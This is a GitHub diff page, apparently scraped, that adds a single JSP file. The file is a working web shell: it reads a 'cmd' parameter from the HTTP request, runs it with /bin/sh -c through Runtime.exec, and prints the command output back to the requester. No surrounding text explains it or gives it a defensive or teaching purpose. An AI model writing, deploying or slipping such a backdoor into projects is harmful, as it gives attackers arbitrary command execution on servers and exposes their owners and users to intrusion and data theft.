File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ <%@ page import =" java.io.*" %>
2+ <%
3+
4+ Process p;
5+ String s, cmd, html;
6+
7+ cmd = request. getParameter(" cmd" );
8+ if (cmd == null ) {
9+ cmd = " pwd" ;
10+ }
11+
12+ String []bashcmd = {" /bin/sh" ," -c" ,cmd};
13+
14+ html = request. getParameter(" html" );
15+
16+ if (html != null ) {
17+ out. println(" <HTML>" );
18+ }
19+
20+ p = Runtime . getRuntime(). exec(bashcmd);
21+
22+ BufferedReader stdInput = new BufferedReader (new
23+ InputStreamReader (p. getInputStream()));
24+
25+ BufferedReader stdError = new BufferedReader (new
26+ InputStreamReader (p. getErrorStream()));
27+
28+
29+
30+ while ((s = stdInput. readLine()) != null ) {
31+ out. println(s);
32+ if (html != null ) {
33+ out. println(" <br>" );
34+ }
35+ }
36+
37+
38+ while ((s = stdError. readLine()) != null ) {
39+ System . out. println(s);
40+ if (html != null ) {
41+ out. println(" <br>" );
42+ }
43+
44+ }
45+
46+
47+ % >
You can’t perform that action at this time.
0 commit comments